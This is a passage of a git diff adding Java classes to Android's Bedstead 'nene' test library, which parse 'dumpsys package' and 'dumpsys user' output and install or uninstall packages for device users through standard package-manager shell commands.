+        }
+        return features;
+    }
+
+    String extractFeaturesList(String dumpsysPackageOutput) throws AdbParseException {
+        try {
+            return dumpsysPackageOutput.split("Features:\n", 2)[1].split("\n\n", 2)[0];
+        } catch (IndexOutOfBoundsException e) {
+            throw new AdbParseException("Error extracting features list", dumpsysPackageOutput, e);
+        }
+    }
+
+    Map<String, Package> parsePackages(String dumpsysUsersOutput) throws AdbParseException {
+        String packagesList = extractPackagesList(dumpsysUsersOutput);
+
+        Set<String> packageStrings = extractPackageStrings(packagesList);
+        Map<String, Package> packages = new HashMap<>();
+        for (String packageString : packageStrings) {
+            Package pkg = new Package(mPackages, parsePackage(packageString));
+            packages.put(pkg.packageName(), pkg);
+        }
+        return packages;
+    }
+
+    String extractPackagesList(String dumpsysPackageOutput) throws AdbParseException {
+        try {
+            return dumpsysPackageOutput.split("\nPackages:\n", 2)[1].split("\n\n", 2)[0];
+        } catch (IndexOutOfBoundsException e) {
+            throw new AdbParseException("Error extracting packages list", dumpsysPackageOutput, e);
+        }
+    }
+
+    Set<String> extractPackageStrings(String packagesList) throws AdbParseException {
+        return extractIndentedSections(packagesList, PACKAGE_LIST_BASE_INDENTATION);
+    }
+
+    private static final Pattern USER_INSTALLED_PATTERN =
+            Pattern.compile("User (\\d+):.*?installed=(\\w+)");
+
+    Package.MutablePackage parsePackage(String packageString) throws AdbParseException {
+        try {
+            String packageName = packageString.split("\\[", 2)[1].split("]", 2)[0];
+            Package.MutablePackage pkg = new Package.MutablePackage();
+            pkg.mPackageName = packageName;
+            pkg.mInstalledOnUsers = new HashSet<>();
+
+
+            Matcher userInstalledMatcher = USER_INSTALLED_PATTERN.matcher(packageString);
+            while (userInstalledMatcher.find()) {
+                int userId = Integer.parseInt(userInstalledMatcher.group(1));
+                boolean isInstalled = Boolean.parseBoolean(userInstalledMatcher.group(2));
+
+                if (isInstalled) {
+                    pkg.mInstalledOnUsers.add(mPackages.mTestApis.users().find(userId));
+                }
+            }
+
+            return pkg;
+        } catch (IndexOutOfBoundsException | NumberFormatException e) {
+            throw new AdbParseException("Error parsing package", packageString, e);
+        }
+    }
+}
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/Package.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/Package.java
new file mode 100644
index 0000000..41c1522
--- /dev/null
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/Package.java
@@ -0,0 +1,53 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.nene.packages;
+
+import com.android.bedstead.nene.users.UserReference;
+
+import java.util.Set;
+
+/**
+ * Resolved information about a package on the device.
+ */
+public class Package extends PackageReference {
+
+    static final class MutablePackage {
+        String mPackageName;
+        Set<UserReference> mInstalledOnUsers;
+    }
+
+    private final MutablePackage mMutablePackage;
+
+    Package(Packages packages, MutablePackage mutablePackage) {
+        super(packages, mutablePackage.mPackageName);
+        mMutablePackage = mutablePackage;
+    }
+
+    /** Get {@link UserReference}s who have this {@link Package} installed. */
+    public Set<UserReference> installedOnUsers() {
+        return mMutablePackage.mInstalledOnUsers;
+    }
+
+    @Override
+    public String toString() {
+        StringBuilder stringBuilder = new StringBuilder("Package{");
+        stringBuilder.append("packageName=" + mMutablePackage.mPackageName);
+        stringBuilder.append("installedOnUsers=" + mMutablePackage.mInstalledOnUsers);
+        stringBuilder.append("}");
+        return stringBuilder.toString();
+    }
+}
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/PackageReference.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/PackageReference.java
new file mode 100644
index 0000000..5a49ae7
--- /dev/null
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/PackageReference.java
@@ -0,0 +1,115 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.nene.packages;
+
+import androidx.annotation.Nullable;
+
+import com.android.bedstead.nene.exceptions.AdbException;
+import com.android.bedstead.nene.exceptions.NeneException;
+import com.android.bedstead.nene.users.UserReference;
+import com.android.bedstead.nene.utils.ShellCommand;
+import com.android.bedstead.nene.utils.ShellCommandUtils;
+
+import java.io.File;
+
+/**
+ * A representation of a package on device which may or may not exist.
+ *
+ * <p>To resolve the package into a {@link Package}, see {@link #resolve()}.
+ */
+public abstract class PackageReference {
+
+    private final Packages mPackages;
+    private final String mPackageName;
+
+    PackageReference(Packages packages, String packageName) {
+        mPackages = packages;
+        mPackageName = packageName;
+    }
+
+    /** Return the package's name. */
+    public String packageName() {
+        return mPackageName;
+    }
+
+    /**
+     * Get the current state of the {@link Package} from the device, or {@code null} if the package
+     * does not exist.
+     */
+    @Nullable
+    public Package resolve() {
+        return mPackages.fetchPackage(mPackageName);
+    }
+
+    /**
+     * Install the package on the given user.
+     *
+     * <p>If you wish to install a package which is not already installed on another user, see
+     * {@link Packages#install(UserReference, File)}.
+     */
+    public PackageReference install(UserReference user) {
+        if (user == null) {
+            throw new NullPointerException();
+        }
+        try {
+            // Expected output "Package X installed for user: Y"
+            ShellCommand.builderForUser(user, "pm install-existing")
+                    .addOperand(mPackageName)
+                    .executeAndValidateOutput(
+                            (output) -> output.contains("installed for user"));
+            return this;
+        } catch (AdbException e) {
+            throw new NeneException("Could not install-existing package " + this, e);
+        }
+    }
+
+    /**
+     * Uninstall the package for the given user.
+     *
+     * <p>If this is the last user which has this package installed, then the package will no
+     * longer {@link #resolve()}.
+     */
+    public PackageReference uninstall(UserReference user) {
+        if (user == null) {
+            throw new NullPointerException();
+        }
+        try {
+            // Expected output "Success"
+            ShellCommand.builderForUser(user, "pm uninstall")
+                    .addOperand(mPackageName)
+                    .executeAndValidateOutput(ShellCommandUtils::startsWithSuccess);
+            return this;
+        } catch (AdbException e) {
+            throw new NeneException("Could not uninstall package " + this, e);
+        }
+    }
+
+    @Override
+    public int hashCode() {
+        return mPackageName.hashCode();
+    }
+
+    @Override
+    public boolean equals(Object obj) {
+        if (!(obj instanceof PackageReference)) {
+            return false;
+        }
+
+        PackageReference other = (PackageReference) obj;
+        return other.mPackageName.equals(mPackageName);
+    }
+}
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/Packages.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/Packages.java
new file mode 100644
index 0000000..cafd870
--- /dev/null
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/Packages.java
@@ -0,0 +1,196 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.nene.packages;
+
+import static android.os.Build.VERSION.SDK_INT;
+
+import static com.android.bedstead.nene.users.User.UserState.RUNNING_UNLOCKED;
+
+import androidx.annotation.Nullable;
+
+import com.android.bedstead.nene.TestApis;
+import com.android.bedstead.nene.exceptions.AdbException;
+import com.android.bedstead.nene.exceptions.AdbParseException;
+import com.android.bedstead.nene.exceptions.NeneException;
+import com.android.bedstead.nene.users.User;
+import com.android.bedstead.nene.users.UserReference;
+import com.android.bedstead.nene.utils.ShellCommand;
+import com.android.bedstead.nene.utils.ShellCommandUtils;
+
+import java.io.File;
+import java.util.Collection;
+import java.util.HashSet;
+import java.util.Map;
+import java.util.Set;
+
+/**
+ * Test APIs relating to packages.
+ */
+public final class Packages {
+
+    private Map<String, Package> mCachedPackages = null;
+    private Set<String> mFeatures = null;
+    private final AdbPackageParser mParser = AdbPackageParser.get(this, SDK_INT);
+    final TestApis mTestApis;
+
+    public Packages(TestApis testApis) {
+        if (testApis == null) {
+            throw new NullPointerException();
+        }
+        mTestApis = testApis;
+    }
+
+
+    /** Get the features available on the device. */
+    public Set<String> features() {
+        if (mFeatures == null) {
+            fillCache();
+        }
+
+        return mFeatures;
+    }
+
+    /** Resolve all packages on the device. */
+    public Collection<Package> all() {
+        fillCache();
+
+        return mCachedPackages.values();
+    }
+
+    /** Resolve all packages installed for a given {@link UserReference}. */
+    public Collection<Package> installedForUser(UserReference user) {
+        if (user == null) {
+            throw new NullPointerException();
+        }
+        Set<Package> installedForUser = new HashSet<>();
+
+        for (Package pkg : all()) {
+            if (pkg.installedOnUsers().contains(user)) {
+                installedForUser.add(pkg);
+            }
+        }
+
+        return installedForUser;
+    }
+
+    /**
+     * Install an APK file to a given {@link UserReference}.
+     *
+     * <p>The user must be started.
+     *
+     * <p>If the package is already installed, this will replace it.
+     */
+    public void install(UserReference user, File apkFile) {
+        if (user == null || apkFile == null) {
+            throw new NullPointerException();
+        }
+        checkUserStartedBeforeInstall(user);
+
+        // By default when using ADB we don't know the package name of the file upon success.
+        // we could make an additional call to get it (either parsing all installed and finding the
+        // one matching the apk, or by trying to install again and parsing the error - this would
+        // only work before P because after P there isn't an error) - but that
+        // would mean we are making two adb calls rather than one - needs to be decided.
+
+        try {
+            // Expected output "Success"
+            ShellCommand.builderForUser(user, "pm install")
+                    .addOperand("-r") // Reinstall automatically
+                    .addOperand(apkFile.getAbsolutePath())
+                    .executeAndValidateOutput(ShellCommandUtils::startsWithSuccess);
+        } catch (AdbException e) {
+            throw new NeneException("Could not install " + apkFile + " for user " + user, e);
+        }
+    }
+
+    /**
+     * Install an APK from the given byte array to a given {@link UserReference}.
+     *
+     * <p>The user must be started.
+     *
+     * <p>If the package is already installed, this will replace it.
+     */
+    public void install(UserReference user, byte[] apkFile) {
+        if (user == null || apkFile == null) {
+            throw new NullPointerException();
+        }
+
+        checkUserStartedBeforeInstall(user);
+
+        try {
+            // Expected output "Success"
+            ShellCommand.builderForUser(user, "pm install")
+                    .addOption("-S", apkFile.length)
+                    .addOperand("-r")
+                    .writeToStdIn(apkFile)
+                    .executeAndValidateOutput(ShellCommandUtils::startsWithSuccess);
+        } catch (AdbException e) {
+            throw new NeneException("Could not install from bytes for user " + user, e);
+        }
+    }
+
+    private void checkUserStartedBeforeInstall(UserReference user) {
+        User resolvedUser = user.resolve();
+        // TODO(scottjonathan): Consider if it's worth the additional call here - we could
+        //  optionally instead timeout the shell command (it doesn't respond if the user isn't
+        //  started)
+        if (resolvedUser == null || resolvedUser.state() != RUNNING_UNLOCKED) {
+            throw new NeneException("Packages can not be installed in non-started users "
+                    + "(Trying to install into user " + resolvedUser + ")");
+        }
+    }
+
+    @Nullable
+    Package fetchPackage(String packageName) {
+        // TODO(scottjonathan): fillCache probably does more than we need here -
+        //  can we make it more efficient?
+        fillCache();
+
+        Package pkg = mCachedPackages.get(packageName);
+        if (pkg == null || pkg.installedOnUsers().isEmpty()) {
+            return null; // Treat it as uninstalled once all users are removed/removing
+        }
+
+        return pkg;
+    }
+
+    /**
+     * Get a reference to a package with the given {@code packageName}.
+     *
+     * <p>This does not guarantee that the package exists. Call {@link PackageReference#resolve()}
+     * to find specific details about the package on the device.
+     */
+    public PackageReference find(String packageName) {
+        if (packageName == null) {
+            throw new NullPointerException();
+        }
+        return new UnresolvedPackage(this, packageName);
+    }
+
+    private void fillCache() {
+        try {
+            // TODO: Replace use of adb on supported versions of Android
+            String packageDumpsysOutput = ShellCommandUtils.executeCommand("dumpsys package");
+            AdbPackageParser.ParseResult result = mParser.parse(packageDumpsysOutput);
+
+            mCachedPackages = result.mPackages;
+            mFeatures = result.mFeatures;
+        } catch (AdbException | AdbParseException e) {
+            throw new RuntimeException("Error filling cache", e);
+        }
+    }
+}
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/UnresolvedPackage.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/UnresolvedPackage.java
new file mode 100644
index 0000000..9bfe75c
--- /dev/null
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/UnresolvedPackage.java
@@ -0,0 +1,27 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.nene.packages;
+
+/**
+ * Default implementation of {@link PackageReference} used when we haven't fetched information from
+ * the device.
+ */
+public final class UnresolvedPackage extends PackageReference {
+    UnresolvedPackage(Packages packages, String packageName) {
+        super(packages, packageName);
+    }
+}
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/AdbUserParser.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/AdbUserParser.java
new file mode 100644
index 0000000..23f279b
--- /dev/null
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/AdbUserParser.java
@@ -0,0 +1,52 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.nene.users;
+
+import android.annotation.TargetApi;
+import android.os.Build;
+
+import androidx.annotation.Nullable;
+
+import com.android.bedstead.nene.exceptions.AdbParseException;
+
+import java.util.Map;
+
+/**
+ * Parser for the output of "adb dumpsys user".
+ */
+@TargetApi(Build.VERSION_CODES.O)
+interface AdbUserParser {
+
+    static AdbUserParser get(Users users, int sdkVersion) {
+        if (sdkVersion >= 30) {
+            return new AdbUserParser30(users);
+        }
+        return new AdbUserParser26(users);
+    }
+
+    /**
+     * The result of parsing.
+     *
+     * <p>Values which are not used on the current version of Android will be {@code null}.
+     */
+    class ParseResult {
+        Map<Integer, User> mUsers;
+        @Nullable Map<String, UserType> mUserTypes;
+    }
+
+    ParseResult parse(String dumpsysUsersOutput) throws AdbParseException;
+}
\ No newline at end of file
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/AdbUserParser26.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/AdbUserParser26.java
new file mode 100644
index 0000000..470edf0
--- /dev/null
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/AdbUserParser26.java
@@ -0,0 +1,150 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.nene.users;
+
+import static com.android.bedstead.nene.utils.ParserUtils.extractIndentedSections;
+
+import android.os.Build;
+
+import androidx.annotation.RequiresApi;
+
+import com.android.bedstead.nene.exceptions.AdbParseException;
+
+import java.util.HashMap;
+import java.util.Map;
+import java.util.Set;
+
+/**
+ * Parser for "adb dumpsys user" on Android 26+
+ *
+ * <p>Example output:
+ * {@code
+ * Users:
+ *   UserInfo{0:null:13} serialNo=0
+ *     State: RUNNING_UNLOCKED
+ *     Created: <unknown>
+ *     Last logged in: +11m34s491ms ago
+ *     Last logged in fingerprint: generic/gce_x86_phone/gce_x86:8.0.0/OPR1.170623
+ *     .041/4833325:userdebug/test-keys
+ *     Has profile owner: false
+ *     Restrictions:
+ *       none
+ *     Device policy global restrictions:
+ *       null
+ *     Device policy local restrictions:
+ *       null
+ *     Effective restrictions:
+ *       none
+ *   UserInfo{10:managedprofileuser:20} serialNo=10
+ *     State: -1
+ *     Created: +1s901ms ago
+ *     Last logged in: <unknown>
+ *     Last logged in fingerprint: generic/gce_x86_phone/gce_x86:8.0.0/OPR1.170623
+ *     .041/4833325:userdebug/test-keys
+ *     Has profile owner: false
+ *     Restrictions:
+ *       none
+ *     Device policy global restrictions:
+ *       null
+ *     Device policy local restrictions:
+ *       null
+ *     Effective restrictions:
+ *       none
+ *
+ *   Device owner id:-10000
+ *
+ *   Guest restrictions:
+ *     no_sms
+ *     no_install_unknown_sources
+ *     no_config_wifi
+ *     no_outgoing_calls
+ *
+ *   Device managed: false
+ *   Started users state: {0=3}
+ *
+ *   Max users: 4
+ *   Supports switchable users: false
+ *   All guests ephemeral: false
+ * @}
+ *
+ * <p>This class is structured so that future changes in ADB output can be dealt with by
+ *  extending this class and overriding the appropriate section parsers.
+ */
+@RequiresApi(Build.VERSION_CODES.O)
+public class AdbUserParser26 implements AdbUserParser {
+    static final int USER_LIST_BASE_INDENTATION = 2;
+
+    private final Users mUsers;
+
+    AdbUserParser26(Users users) {
+        if (users == null) {
+            throw new NullPointerException();
+        }
+        mUsers = users;
+    }
+
+    @Override
+    public ParseResult parse(String dumpsysUsersOutput) throws AdbParseException {
+        ParseResult parseResult = new ParseResult();
+        parseResult.mUsers = parseUsers(dumpsysUsersOutput);
+        return parseResult;
+    }
+
+    Map<Integer, User> parseUsers(String dumpsysUsersOutput) throws AdbParseException {
+        String usersList = extractUsersList(dumpsysUsersOutput);
+        Set<String> userStrings = extractUserStrings(usersList);
+        Map<Integer, User> users = new HashMap<>();
+        for (String userString : userStrings) {
+            User user = new User(mUsers, parseUser(userString));
+            users.put(user.id(), user);
+        }
+        return users;
+    }
+
+    String extractUsersList(String dumpsysUsersOutput) throws AdbParseException {
+        try {
+            return dumpsysUsersOutput.split("Users:\n", 2)[1].split("\n\n", 2)[0];
+        } catch (IndexOutOfBoundsException e) {
+            throw new AdbParseException("Error extracting user list", dumpsysUsersOutput, e);
+        }
+    }
+
+    Set<String> extractUserStrings(String usersList) throws AdbParseException {
+        return extractIndentedSections(usersList, USER_LIST_BASE_INDENTATION);
+    }
+
+    User.MutableUser parseUser(String userString) throws AdbParseException {
+        try {
+            String userInfo[] = userString.split("UserInfo\\{", 2)[1].split("\\}", 2)[0].split(":");
+            User.MutableUser user = new User.MutableUser();
+            user.mName = userInfo[1];
+            user.mId = Integer.parseInt(userInfo[0]);
+            user.mSerialNo = Integer.parseInt(
+                    userString.split("serialNo=", 2)[1].split("[ \n]", 2)[0]);
+            user.mHasProfileOwner =
+                    Boolean.parseBoolean(
+                            userString.split("Has profile owner: ", 2)[1].split("\n", 2)[0]);
+            user.mState =
+                    User.UserState.fromDumpSysValue(
+                            userString.split("State: ", 2)[1].split("\n", 2)[0]);
+            user.mIsRemoving = userString.contains("<removing>");
+            return user;
+        } catch (IndexOutOfBoundsException e) {
+            throw new AdbParseException("Error parsing user", userString, e);
+        }
+    }
+}
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/AdbUserParser30.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/AdbUserParser30.java
new file mode 100644
index 0000000..a506e77
--- /dev/null
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/AdbUserParser30.java
@@ -0,0 +1,340 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.nene.users;
+
+import static com.android.bedstead.nene.utils.ParserUtils.extractIndentedSections;
+
+import android.os.Build;
+
+import androidx.annotation.RequiresApi;
+
+import com.android.bedstead.nene.exceptions.AdbParseException;
+
+import java.util.HashMap;
+import java.util.HashSet;
+import java.util.Map;
+import java.util.Set;
+
+/**
+ * Parser for "adb dumpsys user" on Android 30+
+ *
+ * <p>Example output:
+ * {@code
+ * Current user: 0
+ * Users:
+ *   UserInfo{0:null:c13} serialNo=0 isPrimary=true
+ *     Type: android.os.usertype.full.SYSTEM
+ *     Flags: 3091 (ADMIN|FULL|INITIALIZED|PRIMARY|SYSTEM)
+ *     State: RUNNING_UNLOCKED
+ *     Created: <unknown>
+ *     Last logged in: +10m10s675ms ago
+ *     Last logged in fingerprint: generic/cf_x86_phone/vsoc_x86:11/RP1A.201005.004
+ *     .A1/6934943:userdebug/dev-keys
+ *     Start time: +12m26s184ms ago
+ *     Unlock time: +12m7s388ms ago
+ *     Has profile owner: false
+ *     Restrictions:
+ *       none
+ *     Device policy global restrictions:
+ *       null
+ *     Device policy local restrictions:
+ *       none
+ *     Effective restrictions:
+ *       none
+ *   UserInfo{10:managedprofileuser:1020} serialNo=10 isPrimary=false
+ *     Type: android.os.usertype.profile.MANAGED
+ *     Flags: 4128 (MANAGED_PROFILE|PROFILE)
+ *     State: -1
+ *     Created: +2s690ms ago
+ *     Last logged in: <unknown>
+ *     Last logged in fingerprint: generic/cf_x86_phone/vsoc_x86:11/RP1A.201005.004
+ *     .A1/6934943:userdebug/dev-keys
+ *     Start time: <unknown>
+ *     Unlock time: <unknown>
+ *     Has profile owner: false
+ *     Restrictions:
+ *       null
+ *     Device policy global restrictions:
+ *       null
+ *     Device policy local restrictions:
+ *       none
+ *     Effective restrictions:
+ *       null
+ *
+ *   Device owner id:-10000
+ *
+ *   Guest restrictions:
+ *     no_sms
+ *     no_install_unknown_sources
+ *     no_config_wifi
+ *     no_outgoing_calls
+ *
+ *   Device managed: false
+ *   Started users state: {0=3}
+ *
+ *   Max users: 4 (limit reached: false)
+ *   Supports switchable users: false
+ *   All guests ephemeral: false
+ *   Force ephemeral users: false
+ *   Is split-system user: false
+ *   Is headless-system mode: false
+ *   User version: 9
+ *
+ *   User types (7 types):
+ *     android.os.usertype.full.GUEST:
+ *         mName: android.os.usertype.full.GUEST
+ *         mBaseType: FULL
+ *         mEnabled: true
+ *         mMaxAllowed: 1
+ *         mMaxAllowedPerParent: -1
+ *         mDefaultUserInfoFlags: GUEST
+ *         mLabel: 0
+ *         mDefaultRestrictions:
+ *             no_sms
+ *             no_install_unknown_sources
+ *             no_config_wifi
+ *             no_outgoing_calls
+ *         mIconBadge: 0
+ *         mBadgePlain: 0
+ *         mBadgeNoBackground: 0
+ *         mBadgeLabels.length: 0(null)
+ *         mBadgeColors.length: 0(null)
+ *         mDarkThemeBadgeColors.length: 0(null)
+ *     android.os.usertype.profile.MANAGED:
+ *         mName: android.os.usertype.profile.MANAGED
+ *         mBaseType: PROFILE
+ *         mEnabled: true
+ *         mMaxAllowed: -1
+ *         mMaxAllowedPerParent: 1
+ *         mDefaultUserInfoFlags: MANAGED_PROFILE
+ *         mLabel: 0
+ *         mDefaultRestrictions:
+ *             null
+ *         mIconBadge: 17302387
+ *         mBadgePlain: 17302382
+ *         mBadgeNoBackground: 17302384
+ *         mBadgeLabels.length: 3
+ *         mBadgeColors.length: 3
+ *         mDarkThemeBadgeColors.length: 3
+ *     android.os.usertype.system.HEADLESS:
+ *         mName: android.os.usertype.system.HEADLESS
+ *         mBaseType: SYSTEM
+ *         mEnabled: true
+ *         mMaxAllowed: -1
+ *         mMaxAllowedPerParent: -1
+ *         mDefaultUserInfoFlags: 0
+ *         mLabel: 0
+ *         config_defaultFirstUserRestrictions:
+ *             none
+ *         mIconBadge: 0
+ *         mBadgePlain: 0
+ *         mBadgeNoBackground: 0
+ *         mBadgeLabels.length: 0(null)
+ *         mBadgeColors.length: 0(null)
+ *         mDarkThemeBadgeColors.length: 0(null)
+ *     android.os.usertype.full.SYSTEM:
+ *         mName: android.os.usertype.full.SYSTEM
+ *         mBaseType: FULL|SYSTEM
+ *         mEnabled: true
+ *         mMaxAllowed: -1
+ *         mMaxAllowedPerParent: -1
+ *         mDefaultUserInfoFlags: 0
+ *         mLabel: 0
+ *         config_defaultFirstUserRestrictions:
+ *             none
+ *         mIconBadge: 0
+ *         mBadgePlain: 0
+ *         mBadgeNoBackground: 0
+ *         mBadgeLabels.length: 0(null)
+ *         mBadgeColors.length: 0(null)
+ *         mDarkThemeBadgeColors.length: 0(null)
+ *     android.os.usertype.full.SECONDARY:
+ *         mName: android.os.usertype.full.SECONDARY
+ *         mBaseType: FULL
+ *         mEnabled: true
+ *         mMaxAllowed: -1
+ *         mMaxAllowedPerParent: -1
+ *         mDefaultUserInfoFlags: 0
+ *         mLabel: 0
+ *         mDefaultRestrictions:
+ *             no_sms
+ *             no_outgoing_calls
+ *         mIconBadge: 0
+ *         mBadgePlain: 0
+ *         mBadgeNoBackground: 0
+ *         mBadgeLabels.length: 0(null)
+ *         mBadgeColors.length: 0(null)
+ *         mDarkThemeBadgeColors.length: 0(null)
+ *     android.os.usertype.full.RESTRICTED:
+ *         mName: android.os.usertype.full.RESTRICTED
+ *         mBaseType: FULL
+ *         mEnabled: true
+ *         mMaxAllowed: -1
+ *         mMaxAllowedPerParent: -1
+ *         mDefaultUserInfoFlags: RESTRICTED
+ *         mLabel: 0
+ *         mDefaultRestrictions:
+ *             null
+ *         mIconBadge: 0
+ *         mBadgePlain: 0
+ *         mBadgeNoBackground: 0
+ *         mBadgeLabels.length: 0(null)
+ *         mBadgeColors.length: 0(null)
+ *         mDarkThemeBadgeColors.length: 0(null)
+ *     android.os.usertype.full.DEMO:
+ *         mName: android.os.usertype.full.DEMO
+ *         mBaseType: FULL
+ *         mEnabled: true
+ *         mMaxAllowed: -1
+ *         mMaxAllowedPerParent: -1
+ *         mDefaultUserInfoFlags: DEMO
+ *         mLabel: 0
+ *         mDefaultRestrictions:
+ *             null
+ *         mIconBadge: 0
+ *         mBadgePlain: 0
+ *         mBadgeNoBackground: 0
+ *         mBadgeLabels.length: 0(null)
+ *         mBadgeColors.length: 0(null)
+ *         mDarkThemeBadgeColors.length: 0(null)
+ *
+ * Whitelisted packages per user type
+ *     Mode: 13 (enforced) (implicit)
+ *     Legend
+ *         0 -> android.os.usertype.full.DEMO
+ *         1 -> android.os.usertype.full.GUEST
+ *         2 -> android.os.usertype.full.RESTRICTED
+ *         3 -> android.os.usertype.full.SECONDARY
+ *         4 -> android.os.usertype.full.SYSTEM
+ *         5 -> android.os.usertype.profile.MANAGED
+ *         6 -> android.os.usertype.system.HEADLESS
+ *     20 packages:
+ *         com.android.internal.display.cutout.emulation.corner: 0 1 2 3 4
+ *         com.android.internal.display.cutout.emulation.double: 0 1 2 3 4
+ *         com.android.internal.systemui.navbar.gestural_wide_back: 0 1 2 3 4
+ *         com.android.wallpapercropper: 0 1 2 3 4
+ *         com.android.internal.display.cutout.emulation.tall: 0 1 2 3 4
+ *         com.android.internal.systemui.navbar.threebutton: 0 1 2 3 4
+ *         android: 0 1 2 3 4 5 6
+ *         com.google.android.deskclock: 0 1 2 3 4
+ *         com.android.internal.systemui.navbar.twobutton: 0 1 2 3 4
+ *         com.android.internal.systemui.navbar.gestural_extra_wide_back: 0 1 2 3 4
+ *         com.android.providers.settings: 0 1 2 3 4 5 6
+ *         com.google.android.calculator: 0 1 2 3 4
+ *         com.google.android.apps.wallpaper.nexus: 0 1 2 3 4
+ *         com.google.android.apps.nexuslauncher: 0 1 2 3 4
+ *         com.android.wallpaper.livepicker: 0 1 2 3 4
+ *         com.google.android.apps.wallpaper: 0 1 2 3 4
+ *         com.android.wallpaperbackup: 0 1 2 3 4
+ *         com.android.internal.systemui.navbar.gestural: 0 1 2 3 4
+ *         com.android.pixellogger: 0 1 2 3 4
+ *         com.android.internal.systemui.navbar.gestural_narrow_back: 0 1 2 3 4
+ *     No errors
+ *     2 warnings
+ *         com.android.wallpapercropper is whitelisted but not present.
+ *         com.google.android.apps.wallpaper.nexus is whitelisted but not present.
+ * }
+ */
+@RequiresApi(Build.VERSION_CODES.R)
+public class AdbUserParser30 extends AdbUserParser26 {
+
+    static int USER_TYPES_LIST_BASE_INDENTATION = 4;
+
+    private Map<String, UserType> mUserTypes;
+
+    AdbUserParser30(Users users) {
+        super(users);
+    }
+
+    @Override
